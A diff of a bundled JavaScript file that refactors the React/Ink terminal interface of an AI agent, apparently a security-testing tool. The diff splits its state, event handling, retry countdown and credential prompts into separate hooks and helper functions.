  const [isProcessing, setIsProcessing] = useState(false);
7794
8006
  const [currentStatus, setCurrentStatus] = useState("");
@@ -7816,14 +8028,6 @@ var useAgent = (autoApprove, target) => {
7816
8028
  const retryCountRef = useRef(0);
7817
8029
  const tokenAccumRef = useRef(0);
7818
8030
  const lastStepTokensRef = useRef(0);
7819
- const [agent] = useState(() => AgentFactory.createMainAgent(autoApprove));
7820
- useEffect(() => {
7821
- if (target) {
7822
- agent.addTarget(target);
7823
- agent.setScope([target]);
7824
- }
7825
- }, [agent, target]);
7826
- const eventsRef = useRef(agent.getEventEmitter());
7827
8031
  const addMessage = useCallback((type, content) => {
7828
8032
  const id = Math.random().toString(36).substring(7);
7829
8033
  setMessages((prev) => [...prev, { id, type, content, timestamp: /* @__PURE__ */ new Date() }]);
@@ -7847,56 +8051,63 @@ var useAgent = (autoApprove, target) => {
7847
8051
  setElapsedTime(0);
7848
8052
  }
7849
8053
  }, []);
7850
- const executeTask = useCallback(async (task) => {
7851
- setIsProcessing(true);
7852
- manageTimer("start");
7853
- setCurrentStatus("Thinking");
7854
- resetCumulativeCounters();
7855
- try {
7856
- const response = await agent.execute(task);
7857
- const meta = lastResponseMetaRef.current;
7858
- const suffix = meta ? ` ${formatMeta(meta.durationMs || 0, (meta.tokens?.input || 0) + (meta.tokens?.output || 0))}` : "";
7859
- addMessage("ai", response + suffix);
7860
- } catch (e) {
7861
- addMessage("error", e instanceof Error ? e.message : String(e));
7862
- } finally {
7863
- manageTimer("stop");
7864
- setIsProcessing(false);
7865
- setCurrentStatus("");
7866
- }
7867
- }, [agent, addMessage, manageTimer, resetCumulativeCounters]);
7868
- const abort = useCallback(() => {
7869
- agent.abort();
7870
- setIsProcessing(false);
7871
- manageTimer("stop");
7872
- setCurrentStatus("");
7873
- addMessage("system", "Interrupted");
7874
- }, [agent, addMessage, manageTimer]);
7875
- const cancelInputRequest = useCallback(() => {
7876
- if (inputRequest.isActive && inputRequest.resolve) {
7877
- inputRequest.resolve(null);
7878
- setInputRequest({ isActive: false, prompt: "", isPassword: false, resolve: null });
7879
- addMessage("system", "Input cancelled");
7880
- }
7881
- }, [inputRequest, addMessage]);
8054
+ const clearAllTimers = useCallback(() => {
8055
+ if (timerRef.current) clearInterval(timerRef.current);
8056
+ if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
8057
+ }, []);
8058
+ return {
8059
+ // State
8060
+ messages,
8061
+ setMessages,
8062
+ isProcessing,
8063
+ setIsProcessing,
8064
+ currentStatus,
8065
+ setCurrentStatus,
8066
+ elapsedTime,
8067
+ retryState,
8068
+ setRetryState,
8069
+ currentTokens,
8070
+ setCurrentTokens,
8071
+ inputRequest,
8072
+ setInputRequest,
8073
+ stats,
8074
+ setStats,
8075
+ // Refs
8076
+ lastResponseMetaRef,
8077
+ timerRef,
8078
+ retryCountdownRef,
8079
+ retryCountRef,
8080
+ tokenAccumRef,
8081
+ lastStepTokensRef,
8082
+ // Helpers
8083
+ addMessage,
8084
+ resetCumulativeCounters,
8085
+ manageTimer,
8086
+ clearAllTimers
8087
+ };
8088
+ };
8089
+
8090
+ // src/platform/tui/hooks/useAgentEvents.ts
8091
+ import { useEffect } from "react";
8092
+ var useAgentEvents = (agent, eventsRef, state) => {
8093
+ const {
8094
+ addMessage,
8095
+ setCurrentStatus,
8096
+ setRetryState,
8097
+ setCurrentTokens,
8098
+ setStats,
8099
+ lastResponseMetaRef,
8100
+ retryCountdownRef,
8101
+ retryCountRef,
8102
+ tokenAccumRef,
8103
+ lastStepTokensRef,
8104
+ clearAllTimers
8105
+ } = state;
7882
8106
  useEffect(() => {
7883
8107
  const events = eventsRef.current;
7884
8108
  const onToolCall = (e) => {
7885
8109
  setCurrentStatus(`Executing: ${e.data.toolName}`);
7886
- let inputStr = "";
7887
- try {
7888
- if (e.data.input && Object.keys(e.data.input).length > 0) {
7889
- if (e.data.toolName === TOOL_NAMES.RUN_CMD && e.data.input.command) {
7890
- inputStr = String(e.data.input.command);
7891
- } else {
7892
- const str = JSON.stringify(e.data.input);
7893
- if (str !== "{}") {
7894
- inputStr = str.length > TUI_DISPLAY_LIMITS.toolInputPreview ? str.substring(0, TUI_DISPLAY_LIMITS.toolInputTruncated) + "..." : str;
7895
- }
7896
- }
7897
- }
7898
- } catch {
7899
- }
8110
+ const inputStr = formatToolInput(e.data.toolName, e.data.input);
7900
8111
  addMessage("tool", inputStr ? `${e.data.toolName} ${inputStr}` : e.data.toolName);
7901
8112
  };
7902
8113
  const onToolResult = (e) => {
@@ -7912,96 +8123,73 @@ var useAgent = (autoApprove, target) => {
7912
8123
  lastResponseMetaRef.current = { durationMs: e.data.durationMs, tokens: e.data.tokens };
7913
8124
  };
7914
8125
  const onRetry = (e) => {
7915
- const delaySec = Math.ceil(e.data.delayMs / 1e3);
7916
- retryCountRef.current += 1;
7917
- const retryNum = retryCountRef.current;
7918
- addMessage("system", `\u27F3 Retry #${retryNum} \xB7 ${e.data.error} \xB7 waiting ${delaySec}s...`);
7919
- setRetryState({ isRetrying: true, attempt: retryNum, maxRetries: e.data.maxRetries, delayMs: e.data.delayMs, error: e.data.error, countdown: delaySec });
7920
- if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
7921
- let remaining = delaySec;
7922
- retryCountdownRef.current = setInterval(() => {
7923
- remaining -= 1;
7924
- if (remaining <= 0) {
7925
- setRetryState((prev) => ({ ...prev, isRetrying: false, countdown: 0 }));
7926
- if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
7927
- } else {
7928
- setRetryState((prev) => ({ ...prev, countdown: remaining }));
7929
- }
7930
- }, 1e3);
8126
+ handleRetry(e, addMessage, setRetryState, retryCountdownRef, retryCountRef);
8127
+ };
8128
+ const onThink = (e) => {
8129
+ const t = e.data.thought;
8130
+ setCurrentStatus(t.length > TUI_DISPLAY_LIMITS.statusThoughtPreview ? t.substring(0, TUI_DISPLAY_LIMITS.statusThoughtTruncated) + "..." : t);
8131
+ };
8132
+ const onError = (e) => {
8133
+ addMessage("error", e.data.message || "An error occurred");
7931
8134
  };
7932
8135
  const onUsageUpdate = (e) => {
7933
8136
  const stepTokens = e.data.inputTokens + e.data.outputTokens;
7934
- if (stepTokens < lastStepTokensRef.current) tokenAccumRef.current += lastStepTokensRef.current;
8137
+ if (stepTokens < lastStepTokensRef.current) {
8138
+ tokenAccumRef.current += lastStepTokensRef.current;
8139
+ }
7935
8140
  lastStepTokensRef.current = stepTokens;
7936
8141
  setCurrentTokens(tokenAccumRef.current + stepTokens);
7937
8142
  };
7938
8143
  setInputHandler((p) => {
7939
- return new Promise((resolve) => setInputRequest({
7940
- isActive: true,
7941
- prompt: p.trim(),
7942
- isPassword: /password|passphrase/i.test(p),
7943
- inputType: /sudo/i.test(p) ? "sudo_password" : /password|passphrase/i.test(p) ? "password" : "text",
7944
- resolve
7945
- }));
8144
+ return new Promise((resolve) => {
8145
+ const isPassword = /password|passphrase/i.test(p);
8146
+ const inputType = /sudo/i.test(p) ? "sudo_password" : isPassword ? "password" : "text";
8147
+ state.setInputRequest({
8148
+ isActive: true,
8149
+ prompt: p.trim(),
8150
+ isPassword,
8151
+ inputType,
8152
+ resolve
8153
+ });
8154
+ });
7946
8155
  });
7947
8156
  setCredentialHandler((request) => {
7948
8157
  return new Promise((resolve) => {
7949
8158
  const hiddenTypes = ["password", "sudo_password", "ssh_password", "passphrase", "api_key", "credential"];
7950
8159
  const isPassword = hiddenTypes.includes(request.type);
7951
- let displayPrompt = request.prompt || "Enter input";
7952
- if (request.context) {
7953
- displayPrompt = `${displayPrompt}
7954
- Context: ${request.context}`;
7955
- }
7956
- if (request.optional) {
7957
- displayPrompt += " (optional - press Enter to skip)";
7958
- }
7959
- if (request.options && request.options.length > 0) {
7960
- displayPrompt += `
7961
- Options: ${request.options.join(", ")}`;
7962
- }
7963
- setInputRequest({
8160
+ const displayPrompt = buildCredentialPrompt(request);
8161
+ state.setInputRequest({
7964
8162
  isActive: true,
7965
8163
  prompt: displayPrompt,
7966
8164
  isPassword,
7967
8165
  inputType: request.type,
7968
8166
  context: request.context,
7969
- optional: request.optional,
8167
+ optional: request.isOptional,
7970
8168
  options: request.options,
7971
8169
  resolve
7972
8170
  });
7973
8171
  });
7974
8172
  });
7975
8173
  setCommandEventEmitter((event) => {
7976
- const icons = {
7977
- [COMMAND_EVENT_TYPES.TOOL_MISSING]: "\u26A0\uFE0F",
7978
- [COMMAND_EVENT_TYPES.TOOL_INSTALL]: "\u{1F4E6}",
7979
- [COMMAND_EVENT_TYPES.TOOL_INSTALLED]: "\u2705",
7980
- [COMMAND_EVENT_TYPES.TOOL_INSTALL_FAILED]: "\u274C",
7981
- [COMMAND_EVENT_TYPES.TOOL_RETRY]: "\u{1F504}",
7982
- [COMMAND_EVENT_TYPES.COMMAND_START]: "\u25B6",
7983
- [COMMAND_EVENT_TYPES.COMMAND_SUCCESS]: "\u2713",
7984
- [COMMAND_EVENT_TYPES.COMMAND_FAILED]: "\u2717",
7985
- [COMMAND_EVENT_TYPES.COMMAND_ERROR]: "\u274C",
7986
- [COMMAND_EVENT_TYPES.INPUT_REQUIRED]: "\u{1F510}"
7987
- };
7988
- const icon = icons[event.type] || "\u2022";
8174
+ const icon = getCommandEventIcon(event.type);
7989
8175
  const msg = event.detail ? `${icon} ${event.message}
7990
8176
  ${event.detail}` : `${icon} ${event.message}`;
7991
8177
  addMessage("system", msg);
7992
8178
  });
7993
8179
  const updateStats = () => {
7994
8180
  const s = agent.getState();
7995
- setStats({ phase: agent.getPhase(), targets: s.getTargets().size, findings: s.getFindings().length, todo: s.getTodo().length });
8181
+ setStats({
8182
+ phase: agent.getPhase(),
8183
+ targets: s.getTargets().size,
8184
+ findings: s.getFindings().length,
8185
+ todo: s.getTodo().length
8186
+ });
7996
8187
  };
7997
8188
  events.on(EVENT_TYPES.TOOL_CALL, onToolCall);
7998
8189
  events.on(EVENT_TYPES.TOOL_RESULT, onToolResult);
7999
- events.on(EVENT_TYPES.THINK, (e) => {
8000
- const t = e.data.thought;
8001
- setCurrentStatus(t.length > TUI_DISPLAY_LIMITS.statusThoughtPreview ? t.substring(0, TUI_DISPLAY_LIMITS.statusThoughtTruncated) + "..." : t);
8002
- });
8190
+ events.on(EVENT_TYPES.THINK, onThink);
8003
8191
  events.on(EVENT_TYPES.COMPLETE, onComplete);
8004
- events.on(EVENT_TYPES.ERROR, (e) => addMessage("error", e.data.message || "An error occurred"));
8192
+ events.on(EVENT_TYPES.ERROR, onError);
8005
8193
  events.on(EVENT_TYPES.RETRY, onRetry);
8006
8194
  events.on(EVENT_TYPES.USAGE_UPDATE, onUsageUpdate);
8007
8195
  events.on(EVENT_TYPES.STATE_CHANGE, updateStats);
@@ -8009,10 +8197,154 @@ Options: ${request.options.join(", ")}`;
8009
8197
  updateStats();
8010
8198
  return () => {
8011
8199
  events.removeAllListeners();
8012
- if (timerRef.current) clearInterval(timerRef.current);
8013
- if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
8200
+ clearAllTimers();
8014
8201
  };
8015
- }, [agent, addMessage]);
8202
+ }, [
8203
+ agent,
8204
+ addMessage,
8205
+ setCurrentStatus,
8206
+ setRetryState,
8207
+ setCurrentTokens,
8208
+ setStats,
8209
+ lastResponseMetaRef,
8210
+ retryCountdownRef,
8211
+ retryCountRef,
8212
+ tokenAccumRef,
8213
+ lastStepTokensRef,
8214
+ clearAllTimers,
8215
+ state
8216
+ ]);
8217
+ };
8218
+ function formatToolInput(toolName, input) {
8219
+ if (!input || Object.keys(input).length === 0) return "";
8220
+ try {
8221
+ if (toolName === TOOL_NAMES.RUN_CMD && input.command) {
8222
+ return String(input.command);
8223
+ }
8224
+ const str = JSON.stringify(input);
8225
+ if (str === "{}") return "";
8226
+ return str.length > TUI_DISPLAY_LIMITS.toolInputPreview ? str.substring(0, TUI_DISPLAY_LIMITS.toolInputTruncated) + "..." : str;
8227
+ } catch {
8228
+ return "";
8229
+ }
8230
+ }
8231
+ function handleRetry(e, addMessage, setRetryState, retryCountdownRef, retryCountRef) {
8232
+ const delaySec = Math.ceil(e.data.delayMs / 1e3);
8233
+ retryCountRef.current += 1;
8234
+ const retryNum = retryCountRef.current;
8235
+ addMessage("system", `\u27F3 Retry #${retryNum} \xB7 ${e.data.error} \xB7 waiting ${delaySec}s...`);
8236
+ setRetryState({
8237
+ isRetrying: true,
8238
+ attempt: retryNum,
8239
+ maxRetries: e.data.maxRetries,
8240
+ delayMs: e.data.delayMs,
8241
+ error: e.data.error,
8242
+ countdown: delaySec
8243
+ });
8244
+ if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
8245
+ let remaining = delaySec;
8246
+ retryCountdownRef.current = setInterval(() => {
8247
+ remaining -= 1;
8248
+ if (remaining <= 0) {
8249
+ setRetryState((prev) => ({ ...prev, isRetrying: false, countdown: 0 }));
8250
+ if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
8251
+ } else {
8252
+ setRetryState((prev) => ({ ...prev, countdown: remaining }));
8253
+ }
8254
+ }, 1e3);
8255
+ }
8256
+ function buildCredentialPrompt(request) {
8257
+ let displayPrompt = request.prompt || "Enter input";
8258
+ if (request.context) {
8259
+ displayPrompt = `${displayPrompt}
8260
+ Context: ${request.context}`;
8261
+ }
8262
+ if (request.isOptional) {
8263
+ displayPrompt += " (optional - press Enter to skip)";
8264
+ }
8265
+ if (request.options && request.options.length > 0) {
8266
+ displayPrompt += `
8267
+ Options: ${request.options.join(", ")}`;
8268
+ }
8269
+ return displayPrompt;
8270
+ }
8271
+ function getCommandEventIcon(eventType) {
8272
+ const icons = {
8273
+ [COMMAND_EVENT_TYPES.TOOL_MISSING]: "\u26A0\uFE0F",
8274
+ [COMMAND_EVENT_TYPES.TOOL_INSTALL]: "\u{1F4E6}",
8275
+ [COMMAND_EVENT_TYPES.TOOL_INSTALLED]: "\u2705",
8276
+ [COMMAND_EVENT_TYPES.TOOL_INSTALL_FAILED]: "\u274C",
8277
+ [COMMAND_EVENT_TYPES.TOOL_RETRY]: "\u{1F504}",
8278
+ [COMMAND_EVENT_TYPES.COMMAND_START]: "\u25B6",
8279
+ [COMMAND_EVENT_TYPES.COMMAND_SUCCESS]: "\u2713",
8280
+ [COMMAND_EVENT_TYPES.COMMAND_FAILED]: "\u2717",
8281
+ [COMMAND_EVENT_TYPES.COMMAND_ERROR]: "\u274C",
8282
+ [COMMAND_EVENT_TYPES.INPUT_REQUIRED]: "\u{1F510}"
8283
+ };
8284
+ return icons[eventType] || "\u2022";
8285
+ }
8286
+
8287
+ // src/platform/tui/hooks/useAgent.ts
8288
+ var useAgent = (shouldAutoApprove, target) => {
8289
+ const [agent] = useState2(() => AgentFactory.createMainAgent(shouldAutoApprove));
8290
+ const eventsRef = useRef2(agent.getEventEmitter());
8291
+ const state = useAgentState();
8292
+ const {
8293
+ messages,
8294
+ setMessages,
8295
+ isProcessing,
8296
+ setIsProcessing,
8297
+ currentStatus,
8298
+ elapsedTime,
8299
+ retryState,
8300
+ currentTokens,
8301
+ inputRequest,
8302
+ setInputRequest,
8303
+ stats,
8304
+ lastResponseMetaRef,
8305
+ addMessage,
8306
+ manageTimer,
8307
+ resetCumulativeCounters
8308
+ } = state;
8309
+ useEffect2(() => {
8310
+ if (target) {
8311
+ agent.addTarget(target);
8312
+ agent.setScope([target]);
8313
+ }
8314
+ }, [agent, target]);
8315
+ useAgentEvents(agent, eventsRef, state);
8316
+ const executeTask = useCallback2(async (task) => {
8317
+ setIsProcessing(true);
8318
+ manageTimer("start");
8319
+ state.setCurrentStatus("Thinking");
8320
+ resetCumulativeCounters();
8321
+ try {
8322
+ const response = await agent.execute(task);
8323
+ const meta = lastResponseMetaRef.current;
8324
+ const suffix = meta ? ` ${formatMeta(meta.durationMs || 0, (meta.tokens?.input || 0) + (meta.tokens?.output || 0))}` : "";
8325
+ addMessage("ai", response + suffix);
8326
+ } catch (e) {
8327
+ addMessage("error", e instanceof Error ? e.message : String(e));
8328
+ } finally {
8329
+ manageTimer("stop");
8330
+ setIsProcessing(false);
8331
+ state.setCurrentStatus("");
8332
+ }
8333
+ }, [agent, addMessage, manageTimer, resetCumulativeCounters, setIsProcessing, lastResponseMetaRef, state]);
8334
+ const abort = useCallback2(() => {
8335
+ agent.abort();
8336
+ setIsProcessing(false);
8337
+ manageTimer("stop");
8338
+ state.setCurrentStatus("");
8339
+ addMessage("system", "Interrupted");
8340
+ }, [agent, addMessage, manageTimer, setIsProcessing, state]);
8341
+ const cancelInputRequest = useCallback2(() => {
8342
+ if (inputRequest.isActive && inputRequest.resolve) {
8343
+ inputRequest.resolve(null);
8344
+ setInputRequest({ isActive: false, prompt: "", isPassword: false, resolve: null });
8345
+ addMessage("system", "Input cancelled");
8346
+ }
8347
+ }, [inputRequest, setInputRequest, addMessage]);
8016
8348
  return {
8017
8349
  agent,
8018
8350
  messages,
@@ -8222,14 +8554,14 @@ var MessageList = ({ messages }) => {
8222
8554
  import { Box as Box3, Text as Text4 } from "ink";
8223
8555
 
8224
8556
  // src/platform/tui/components/MusicSpinner.tsx
8225
- import { useState as useState2, useEffect as useEffect2 } from "react";
8557
+ import { useState as useState3, useEffect as useEffect3 } from "react";
8226
8558
  import { Text as Text3 } from "ink";
8227
8559
  import { jsx as jsx3 } from "react/jsx-runtime";
8228
8560
  var FRAMES = ["\u2669", "\u266A", "\u266B", "\u266C", "\u266B", "\u266A"];
8229
8561
  var INTERVAL = 150;
8230
8562
  var MusicSpinner = ({ color }) => {
8231
- const [index, setIndex] = useState2(0);
8232
- useEffect2(() => {
8563
+ const [index, setIndex] = useState3(0);
8564
+ useEffect3(() => {
8233
8565
  const timer = setInterval(() => {
8234
8566
  setIndex((i) => (i + 1) % FRAMES.length);
8235
8567
  }, INTERVAL);
@@ -8388,9 +8720,9 @@ var footer_default = Footer;
8388
8720
  import { jsx as jsx7, jsxs as jsxs6 } from "react/jsx-runtime";
8389
8721
  var App = ({ autoApprove = false, target }) => {
8390
8722
  const { exit } = useApp();
8391
- const [input, setInput] = useState3("");
8392
- const [secretInput, setSecretInput] = useState3("");
8393
- const [autoApproveMode, setAutoApproveMode] = useState3(autoApprove);
8723
+ const [input, setInput] = useState4("");
8724
+ const [secretInput, setSecretInput] = useState4("");
8725
+ const [autoApproveMode, setAutoApproveMode] = useState4(autoApprove);
8394
8726
  const {
8395
8727
  agent,
8396
8728
  messages,
@@ -8408,14 +8740,14 @@ var App = ({ autoApprove = false, target }) => {
8408
8740
  cancelInputRequest,
8409
8741
  addMessage
8410
8742
  } = useAgent(autoApproveMode, target);
8411
- const handleExit = useCallback2(() => {
8743
+ const handleExit = useCallback3(() => {
8412
8744
  if (inputRequest.isActive && inputRequest.resolve) inputRequest.resolve(null);
8413
8745
  cleanupAllProcesses().catch(() => {
8414
8746
  });
8415
8747
  exit();
8416
8748
  setTimeout(() => process.exit(0), DISPLAY_LIMITS.EXIT_DELAY);
8417
8749
  }, [exit, inputRequest, cancelInputRequest]);
8418
- const handleCommand = useCallback2(async (cmd, args) => {
8750
+ const handleCommand = useCallback3(async (cmd, args) => {
8419
8751
  switch (cmd) {
8420
8752
  case UI_COMMANDS.HELP:
8421
8753
  case UI_COMMANDS.HELP_SHORT:
@@ -8497,7 +8829,7 @@ ${procData.stdout || "(no output)"}
8497
8829
  addMessage("error", `Unknown command: /${cmd}`);
8498
8830
  }
8499
8831
  }, [agent, addMessage, executeTask, setMessages, handleExit, autoApproveMode]);
8500
- const handleSubmit = useCallback2(async (value) => {
8832
+ const handleSubmit = useCallback3(async (value) => {
8501
8833
  const trimmed = value.trim();
8502
8834
  if (!trimmed) return;
8503
8835
  setInput("");
@@ -8509,7 +8841,7 @@ ${procData.stdout || "(no output)"}
8509
8841
  await executeTask(trimmed);
8510
8842
  }
8511
8843
  }, [addMessage, executeTask, handleCommand]);
8512
- const handleSecretSubmit = useCallback2((value) => {
8844
+ const handleSecretSubmit = useCallback3((value) => {
8513
8845
  if (!inputRequest.isActive || !inputRequest.resolve) return;
8514
8846
  const displayText = inputRequest.isPassword ? "\u2022".repeat(value.length) : value;
8515
8847
  const promptLabel = inputRequest.prompt || "Input";
@@ -8525,7 +8857,7 @@ ${procData.stdout || "(no output)"}
8525
8857
  }
8526
8858
  if (key.ctrl && ch === "c") handleExit();
8527
8859
  });
8528
- useEffect3(() => {
8860
+ useEffect4(() => {
8529
8861
  const onSignal = () => handleExit();
8530
8862
  process.on("SIGINT", onSignal);
8531
8863
  process.on("SIGTERM", onSignal);